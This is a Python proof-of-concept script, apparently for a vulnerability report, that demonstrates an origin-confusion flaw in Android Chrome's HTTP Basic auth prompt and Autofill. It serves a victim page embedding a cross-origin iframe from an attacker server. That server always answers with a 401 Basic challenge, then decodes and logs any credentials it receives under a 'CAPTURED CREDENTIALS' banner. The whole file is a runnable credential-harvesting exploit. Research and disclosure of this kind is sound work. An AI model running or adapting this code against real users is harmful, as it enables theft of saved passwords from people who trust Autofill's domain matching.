#!/usr/bin/env python3
"""
Two-origin HTTP server for the Android HTTP-auth Autofill webDomain origin-confusion POC.

  - victim origin   (port 8080): serves page.html embedding a cross-origin iframe
  - attacker origin (port 8081): always responds 401 + WWW-Authenticate: Basic,
                                 and logs any Authorization header it receives.

On a real network, point two distinct DNS names at this host (or use the
device's hosts file) so the iframe is genuinely cross-origin to Chrome.
For local testing, http://localhost:8080 vs http://<LAN-IP>:8081 also works
since they are different origins.
"""

import base64
import http.server
import socketserver
import sys
import threading

VICTIM_PORT = 8080
ATTACKER_PORT = 8081


def make_victim_handler(attacker_origin: str):
    page = f"""<!DOCTYPE html>
<html>
<head><title>Victim page</title></head>
<body>
  <h1>victim.example</h1>
  <p>This page embeds a cross-origin iframe whose navigation returns
     <code>401 Basic</code>. On Android Chrome the resulting LoginPrompt
     reports <b>this page's origin</b> (not the iframe's) as
     <code>ViewStructure.webDomain</code> to the Android Autofill service.</p>
  <iframe src="{attacker_origin}/auth" width="400" height="200"></iframe>
</body>
</html>
"""

    class VictimHandler(http.server.BaseHTTPRequestHandler):
        def do_GET(self):
            if self.path in ("/", "/page.html"):
                body = page.encode()
                self.send_response(200)
                self.send_header("Content-Type", "text/html; charset=utf-8")
                self.send_header("Content-Length", str(len(body)))
                self.end_headers()
                self.wfile.write(body)
            else:
                self.send_error(404)

        def log_message(self, fmt, *args):
            sys.stderr.write("[victim  ] " + (fmt % args) + "\n")

    return VictimHandler


class AttackerHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        auth = self.headers.get("Authorization")
        if auth:
            creds = auth
            if auth.lower().startswith("basic "):
                try:
                    creds = base64.b64decode(auth[6:]).decode(errors="replace")
                except Exception:
                    pass
            sys.stderr.write(
                "[attacker] *** CAPTURED CREDENTIALS *** "
                f"Authorization: {auth}  decoded={creds!r}\n"
            )
            body = b"<h1>attacker.example</h1><p>Thanks for the creds.</p>"
            self.send_response(200)
            self.send_header("Content-Type", "text/html; charset=utf-8")
            self.send_header("Content-Length", str(len(body)))
            self.end_headers()
            self.wfile.write(body)
            return

        # No creds yet → challenge.
        self.send_response(401)
        self.send_header("WWW-Authenticate", 'Basic realm="Login"')
        self.send_header("Content-Type", "text/html; charset=utf-8")
        self.send_header("Content-Length", "0")
        self.end_headers()

    def log_message(self, fmt, *args):
        sys.stderr.write("[attacker] " + (fmt % args) + "\n")


class ReusableTCPServer(socketserver.ThreadingTCPServer):
    allow_reuse_address = True


def main():
    # Allow overriding the attacker origin so the iframe URL is correct for
    # whatever hostname the Android device will use to reach this machine.
    attacker_origin = (
        sys.argv[1] if len(sys.argv) > 1 else f"http://127.0.0.1:{ATTACKER_PORT}"
    )

    victim_srv = ReusableTCPServer(
        ("0.0.0.0", VICTIM_PORT), make_victim_handler(attacker_origin)
    )
    attacker_srv = ReusableTCPServer(("0.0.0.0", ATTACKER_PORT), AttackerHandler)

    print(f"[*] victim   origin: http://<this-host>:{VICTIM_PORT}/page.html")
    print(f"[*] attacker origin: {attacker_origin}/auth  (always 401 Basic)")
    print("[*] Watch this console for '*** CAPTURED CREDENTIALS ***'.")

    threading.Thread(target=victim_srv.serve_forever, daemon=True).start()
    attacker_srv.serve_forever()


if __name__ == "__main__":
    main()
